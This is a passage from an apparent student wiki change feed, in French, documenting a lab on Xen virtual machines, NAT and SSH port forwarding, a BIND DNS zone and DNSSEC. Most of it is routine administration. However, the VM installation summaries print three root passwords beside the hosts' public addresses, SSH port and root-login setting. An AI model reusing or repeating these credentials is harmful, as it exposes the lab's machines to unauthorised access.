&lt;br /&gt;
On active le SSH en ajoutant dans &amp;lt;code&amp;gt;/etc/ssh/sshd_config&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
PermitRootLogin yes&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour redemarrer le service ssh :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/etc/init.d/ssh restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour la machine mandataire, ensuite après avoir reboot on peut faire dans nos machines de services :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.10.0/24&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt; &lt;br /&gt;
&lt;br /&gt;
==== Mascarade ====&lt;br /&gt;
Sur la mandataire : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.10.3:22&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Et on décommente cette ligne dans &amp;lt;code&amp;gt;/etc/sysctl.conf&amp;lt;/code&amp;gt; : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
net.ipv4.ip_forward=1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Et maintenant nous pouvons nous connecter à notre machine de service en ssh : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
#IPV4&lt;br /&gt;
ssh root@193.48.57.166 -p 2202&lt;br /&gt;
# IPV6&lt;br /&gt;
ssh root@2001:660:4401:60a0:216:3eff:fe8b:45ed&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== DNS ====&lt;br /&gt;
Tout d'abord, il faut modifier &amp;lt;code&amp;gt;/etc/bind/named.conf.local&amp;lt;/code&amp;gt; : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
zone &amp;quot;archlinuxbtw.lol&amp;quot; {&lt;br /&gt;
	type master;&lt;br /&gt;
	file &amp;quot;/etc/bind/myZones/db.archlinuxbtw.lol&amp;quot;;&lt;br /&gt;
	allow-transfer{secondaries;};&lt;br /&gt;
	notify yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot;{&lt;br /&gt;
	192.168.10.2;&lt;br /&gt;
	2001:660:4401:60a0:216:3eff:fe36:79d9;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;archlinux.lol&amp;quot; {&lt;br /&gt;
	type secondary;&lt;br /&gt;
	file &amp;quot;/etc/bind/backup/db.archlinux.lol&amp;quot;;&lt;br /&gt;
	primaries{2001:660:4401:60a0:216:3eff:fe36:79d9;};&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;J'ai ensuite créée un dossier myZones puis j'ai créer db.archlinuxbtw.lol et j'y ai ajouter :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 400&lt;br /&gt;
&lt;br /&gt;
@ IN SOA ns.archlinuxbtw.lol admin.archlinuxbtw.lol (&lt;br /&gt;
          3609     ; Numero de version&lt;br /&gt;
          21600     ; Rafraichissement (6h)&lt;br /&gt;
           3600     ; Re-tentative (1h)&lt;br /&gt;
        2592000     ; Expiration (30j)&lt;br /&gt;
         86400     ; Cache negatif (24h)&lt;br /&gt;
);&lt;br /&gt;
&lt;br /&gt;
	IN	NS	ns.archlinuxbtw.lol.&lt;br /&gt;
	IN	NS	ns.archlinux.lol.&lt;br /&gt;
@	IN	A	193.48.57.166&lt;br /&gt;
@	IN	AAAA	2001:660:4401:60a0:216:3eff:fe8b:45ed&lt;br /&gt;
ns	IN	A	193.48.57.166&lt;br /&gt;
ns	IN	AAAA	2001:660:4401:60a0:216:3eff:fe8b:45ed&lt;br /&gt;
&lt;br /&gt;
www IN CNAME archlinuxbtw.lol&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ensuite on restart le service via : &amp;lt;code&amp;gt;service named restart&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Création d'une clé&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout archlinuxbtw.lol.key -out archlinuxbtw.csr&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
[[Fichier:DNS Check.png|centré|vignette|452x452px|DNS Checker ]]&lt;br /&gt;
Notre DNS est bien reconnu et la commande  &amp;lt;code&amp;gt;dig @8.8.8.8 archlinuxbtw.lol&amp;lt;/code&amp;gt; c'est grâce au Glue records.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Génération des clés&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Changement nom machine &amp;lt;code&amp;gt;nano /etc/hostname : CachyOS&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== DNSSEC ====&lt;br /&gt;
Afin de protéger notre DNS contre des possibles attaques nous utiliserons DNSSEC. Ici nous utiliserons la politique DNSSEC : &amp;lt;code&amp;gt;&amp;quot;dnspol&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
Ensuite on crée le dossier keys et on donne les droits a bind d'écrire dedans avec :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkdir /etc/bind/keys &lt;br /&gt;
chown bind:bind /etc/bind/keys &lt;br /&gt;
chmod 750 /etc/bind/keys&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour ce faire, dans &amp;lt;code&amp;gt;named.conf.local&amp;lt;/code&amp;gt; il faut rajouter les 3 lignes à partir de &amp;quot;key-directory&amp;quot; :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
  key-directory &amp;quot;/etc/bind/keys&amp;quot;;&lt;br /&gt;
  dnssec-policy &amp;quot;dnspol&amp;quot;;   // DNSSEC automatique&lt;br /&gt;
  inline-signing yes;&lt;br /&gt;
  &lt;br /&gt;
  [...]&lt;br /&gt;
  &lt;br /&gt;
  dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
   keys {&lt;br /&gt;
       ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
       zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
   };&lt;br /&gt;
   nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour l'activer, il faut restart bind9 avec &amp;lt;code&amp;gt;systemctl restart bind9&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il ne reste qu'à ajouter la clé KSK sur Gandi et ensite on peut voir s'il fonctionne bien grace au site suivant : &amp;lt;nowiki&amp;gt;https://dnsviz.net&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
[[Fichier:DNSSec.png|centré|vignette|DNSSec]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Et on peut voir que nos clefs on bien été générer : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@CachyOS:/etc/bind# ls keys/&lt;br /&gt;
Karchlinuxbtw.lol.+013+24458.key      Karchlinuxbtw.lol.+013+56682.key&lt;br /&gt;
Karchlinuxbtw.lol.+013+24458.private  Karchlinuxbtw.lol.+013+56682.private&lt;br /&gt;
Karchlinuxbtw.lol.+013+24458.state    Karchlinuxbtw.lol.+013+56682.state&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Utiles ===&lt;br /&gt;
&lt;br /&gt;
=== XEN ===&lt;br /&gt;
''&amp;lt;u&amp;gt;Liste des VMs allumées :&amp;lt;/u&amp;gt;'' &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
''&amp;lt;u&amp;gt;Se connecter à la VM :&amp;lt;/u&amp;gt;''&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen console &amp;lt;nomMachine&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds&lt;br /&gt;
''&amp;lt;u&amp;gt;Sortir de la console xen :&amp;lt;/u&amp;gt;''&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
Ctrl + Shift + 5&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;''&amp;lt;u&amp;gt;Eteindre une VM :&amp;lt;/u&amp;gt;'' &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen shutdown &amp;lt;nomMachine&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds&lt;br /&gt;
&lt;br /&gt;
''&amp;lt;u&amp;gt;Allumer une VM :&amp;lt;/u&amp;gt;''&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/&amp;lt;nomMachine&amp;gt;.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Cpayet</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Fichier:DNSSec.png&amp;diff=11981</id>
		<title>Fichier:DNSSec.png</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Fichier:DNSSec.png&amp;diff=11981"/>
		<updated>2026-02-01T23:04:34Z</updated>

		<summary type="html">&lt;p&gt;Cpayet : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;DNSSec&lt;/div&gt;</summary>
		<author><name>Cpayet</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Fichier:DNS_Check.png&amp;diff=11980</id>
		<title>Fichier:DNS Check.png</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Fichier:DNS_Check.png&amp;diff=11980"/>
		<updated>2026-02-01T22:19:30Z</updated>

		<summary type="html">&lt;p&gt;Cpayet : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;DNS Check&lt;/div&gt;</summary>
		<author><name>Cpayet</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E5&amp;diff=11522</id>
		<title>Atelier SysRes SE4 2025/2026 E5</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E5&amp;diff=11522"/>
		<updated>2026-01-27T17:13:57Z</updated>

		<summary type="html">&lt;p&gt;Cpayet : /* DNS */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Compte rendu des commandes effectués ===&lt;br /&gt;
&lt;br /&gt;
==== Etape 1 : Connexion SSH ====&lt;br /&gt;
ssh root@capbreton&lt;br /&gt;
&lt;br /&gt;
Mot de passe : &lt;br /&gt;
&lt;br /&gt;
==== Etape 2 : Créer un fichier dans le répertoire /etc/network/interfaces.d du Dom0 aux noms du binôme concerné ====&lt;br /&gt;
On se déplace à ce répertoire :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
 cd /etc/network/interfaces.d/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On créer ensuite ensuite un fichier aux noms de notre binôme et on l'édite :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
touch SE42026_cpayet_tdelobel&lt;br /&gt;
vim SE42026_cpayet_tdelobel&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis on donne un nom au bridge, ici c'est `pont_pacman`et on met dans le fichier ceci :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_pacman&lt;br /&gt;
iface pont_pacman inet manual&lt;br /&gt;
    bridge_ports none&lt;br /&gt;
    up ip link set $IFACE up&lt;br /&gt;
    down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Une fois le pont créer, il faut le démarrer :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
ifup pont_pacman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Etape 3 : Création des VMs ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen-create-image --hostname=SE4.CachyOS         --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force&lt;br /&gt;
xen-create-image --hostname=SE4.Manjaro         --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force&lt;br /&gt;
xen-create-image --hostname=SE4.LinusTorvalds   --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On adapte les hostnames en fonction des nom de nos machines. &lt;br /&gt;
&lt;br /&gt;
'''''IMPORTANT :''''' Les résultats des commandes sont à noter car ellles contiennent les mots de passe et autres informations importantes.&lt;br /&gt;
&lt;br /&gt;
===== Nos résultats : =====&lt;br /&gt;
CachyOS : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  SE4.CachyOS&lt;br /&gt;
Distribution    :  daedalus&lt;br /&gt;
MAC Address     :  00:16:3E:8B:45:EC&lt;br /&gt;
IP Address(es)  :  dynamic&lt;br /&gt;
SSH Fingerprint :  SHA256:p+nECGSXOPvFjDjk+/x8adAn8JxTTPjuknCTcFZxJNk (DSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:YaNMhK5ZFF/TshemMHSmt08R9uBPAnhNK134XEZ0CuY (ECDSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:qQNuBNfAoySUPOFPplDh8p0ZPtxRulz/vbOq+Pm4gwM (ED25519)&lt;br /&gt;
SSH Fingerprint :  SHA256:psWV2TNuHsZcRelqipM7TJ/mE4cvFI+oxndg6nvCpCk (RSA)&lt;br /&gt;
Root Password   :  6nyCiterydiMtnxsPDRsUys&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Manjaro : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  SE4.Manjaro&lt;br /&gt;
Distribution    :  daedalus&lt;br /&gt;
MAC Address     :  00:16:3E:36:79:D8&lt;br /&gt;
IP Address(es)  :  dynamic&lt;br /&gt;
SSH Fingerprint :  SHA256:n+ojtWyKBODRtEppjCvAp6nd2cjL/Ily54j0cM03lMc (DSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:K+Qa9NAU3JIGsMy3LEYCgFbfL3ozuiRKG+U3XsbV5ow (ECDSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:AJLfxk4Zz8BZflWYOS8mifapH+uAFgGKA3WSj6rN0NA (ED25519)&lt;br /&gt;
SSH Fingerprint :  SHA256:/6iWOWoii0nJsbScwVYIGQAbuTI1/YIpaRyRdBl8mwE (RSA)&lt;br /&gt;
Root Password   :  PgvMbhYvgtksg8tmiJnVZnQ&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;LinusTorvalds :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
 Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  SE4.LinusTorvalds&lt;br /&gt;
Distribution    :  daedalus&lt;br /&gt;
MAC Address     :  00:16:3E:AA:BF:EF&lt;br /&gt;
IP Address(es)  :  dynamic&lt;br /&gt;
SSH Fingerprint :  SHA256:ouY/2dce0YI/mJD9Qw68oKU0xdw6Cs9ybgJxRm/FKiI (DSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:p5lZznE0q8j6c68YTF5toYgBugOkc0IopTO+Ce9SiZ8 (ECDSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:FbqBOG+0bBjuQBOlAytAlbMV/9VoJ8BAlFadG/VaGD4 (ED25519)&lt;br /&gt;
SSH Fingerprint :  SHA256:FCEtQGUhMhN9DDtTmt5zts/9PeC7ahnmJA7UOhMnGeg (RSA)&lt;br /&gt;
Root Password   :  ekrmCSKb3ZAxXSYvNpjbiSK&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Etape 4 : ====&lt;br /&gt;
PHRASE MANQUANTE&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.Manjaro.cfg&lt;br /&gt;
xen create /etc/xen/SE4.CachyOS.cfg&lt;br /&gt;
xen create /etc/xen/SE4.LinusTorvalds.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On vérifie la liste des machines lancées via : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Nos résultats : =====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
Name                                        ID   Mem VCPUs    State    Time(s)&lt;br /&gt;
SE4.CachyOS                                 83  2048     1     -b----       5.6&lt;br /&gt;
SE4.Manjaro                                 85  2048     1     -b----       5.8&lt;br /&gt;
SE4.LinusTorvalds                           87  2048     1     -b----       5.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Etape 5 : Partition ====&lt;br /&gt;
&lt;br /&gt;
===== Sur capbreton =====&lt;br /&gt;
&lt;br /&gt;
On partionne avec cette commande :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -n SE4.CachyOS.var -L 10G virtual&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On éteint notre machine : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen shutdown SE4.CachyOS&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Et on modifie :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
vim /etc/xen/SE4.CachyOS.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et on ajoute ceci :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
disk = [&lt;br /&gt;
            [...],&lt;br /&gt;
            'phy:/dev/virtual/SE4.CachyOS.home,xvda3,w',&lt;br /&gt;
            'phy:/dev/virtual/SE4.CachyOS.var,xvdb1,w'&lt;br /&gt;
        ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Sur la machine mandataire =====&lt;br /&gt;
&lt;br /&gt;
Nous ajoutons les partitions dans '''''/etc/fstab''''' : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvda3 /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdb1 /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous formatons les partitions avant de les utiliser : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvda3&lt;br /&gt;
mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous copions le contenu de '''/var''' : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount /dev/xvda3 /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous montons ensuite automatiquement les partitions définies dans '''/etc/fstab''' : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount -a&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== De nouveaux sur capbreton =====&lt;br /&gt;
On redémarre notre machine : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.CachyOS.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite on se connecte à notre VM via :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.CachyOS&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Machines de Service - CachyOS &amp;amp; Manjaro =====&lt;br /&gt;
Dans notre VM :&lt;br /&gt;
&lt;br /&gt;
On modifie  :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
vim /etc/network/interfaces&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Et on ajoute ceci :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.10.3/24&lt;br /&gt;
    gateway 192.168.10.1&lt;br /&gt;
&lt;br /&gt;
# Pour l'ipv6&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* 172.60.0.3 est l'adresse IPV4 de la VM CachyOS&lt;br /&gt;
&lt;br /&gt;
===== Machine Mandataire - LinusTorvalds =====&lt;br /&gt;
La machine mandataire agit comme passerelle IPv4 pour les machines de services. Voici sa configuration réseau :&lt;br /&gt;
&lt;br /&gt;
La machine mandataire va posséder trois adresses. Une adresse IPv6 routée, une adresse IPv4 routée et une adresse IPv4 pour le réseau privé avec ces deux machines de services. Pour ce faire, nous devons au préalable configurer une nouvelle interface eth1 pour y intégrer la seconde adresse IPv4.&lt;br /&gt;
&lt;br /&gt;
Sur capbreton, depuis &amp;lt;code&amp;gt;/etc/xen/SE4.CachyOS.cfg :&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
vif = [[...], 'mac=00:16:3E:8B:45:ED,bridge=SE4']&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour l'adresse mac on prend celui existant et on fait +1.&lt;br /&gt;
&lt;br /&gt;
Depuis &amp;lt;code&amp;gt;/etc/resolv.conf &amp;lt;/code&amp;gt;:&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
nameserver 8.8.8.8&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== SSH ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
apt update&lt;br /&gt;
apt upgrade&lt;br /&gt;
&lt;br /&gt;
apt install ssh&lt;br /&gt;
apt install bind9&lt;br /&gt;
apt install apache2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;(Dans TOUTES les VMs)&lt;br /&gt;
&lt;br /&gt;
On active le SSH en ajoutant dans &amp;lt;code&amp;gt;/etc/ssh/sshd_config&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
PermitRootLogin yes&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour redemarrer le service ssh :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/etc/init.d/ssh restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour la machine mandataire, ensuite après avoir reboot on peut faire dans nos machines de services :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.10.0/24&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt; &lt;br /&gt;
&lt;br /&gt;
==== Mascarade ====&lt;br /&gt;
Sur la mandataire : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.10.3:22&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Et on décommente cette ligne dans &amp;lt;code&amp;gt;/etc/sysctl.conf&amp;lt;/code&amp;gt; : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
net.ipv4.ip_forward=1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Et maintenant nous pouvons nous connecter à notre machine de service en ssh : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
#IPV4&lt;br /&gt;
ssh root@193.48.57.166 -p 2202&lt;br /&gt;
# IPV6&lt;br /&gt;
ssh root@2001:660:4401:60a0:216:3eff:fe8b:45ed&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== DNS ====&lt;br /&gt;
Tout d'abord, il faut modifier &amp;lt;code&amp;gt;/etc/bind/named.conf.local&amp;lt;/code&amp;gt; : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
zone &amp;quot;archlinuxbtw.lol&amp;quot; {&lt;br /&gt;
	type master;&lt;br /&gt;
	file &amp;quot;/etc/bind/myZones/db.archlinuxbtw.lol&amp;quot;;&lt;br /&gt;
	allow-transfer{secondaries;};&lt;br /&gt;
	notify yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot;{&lt;br /&gt;
	192.168.10.2;&lt;br /&gt;
	2001:660:4401:60a0:216:3eff:fe36:79d9;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;archlinux.lol&amp;quot; {&lt;br /&gt;
	type secondary;&lt;br /&gt;
	file &amp;quot;/etc/bind/backup/db.archlinux.lol&amp;quot;;&lt;br /&gt;
	primaries{2001:660:4401:60a0:216:3eff:fe36:79d9;};&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;J'ai ensuite créée un dossier myZones puis j'ai créer db.archlinuxbtw.lol et j'y ai ajouter :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 400&lt;br /&gt;
&lt;br /&gt;
@ IN SOA ns.archlinuxbtw.lol admin.archlinuxbtw.lol (&lt;br /&gt;
          3609     ; Numero de version&lt;br /&gt;
          21600     ; Rafraichissement (6h)&lt;br /&gt;
           3600     ; Re-tentative (1h)&lt;br /&gt;
        2592000     ; Expiration (30j)&lt;br /&gt;
         86400     ; Cache negatif (24h)&lt;br /&gt;
);&lt;br /&gt;
&lt;br /&gt;
	IN	NS	ns.archlinuxbtw.lol.&lt;br /&gt;
	IN	NS	ns.archlinux.lol.&lt;br /&gt;
@	IN	A	193.48.57.166&lt;br /&gt;
@	IN	AAAA	2001:660:4401:60a0:216:3eff:fe8b:45ed&lt;br /&gt;
ns	IN	A	193.48.57.166&lt;br /&gt;
ns	IN	AAAA	2001:660:4401:60a0:216:3eff:fe8b:45ed&lt;br /&gt;
&lt;br /&gt;
www IN CNAME archlinuxbtw.lol&lt;br /&gt;
&lt;br /&gt;
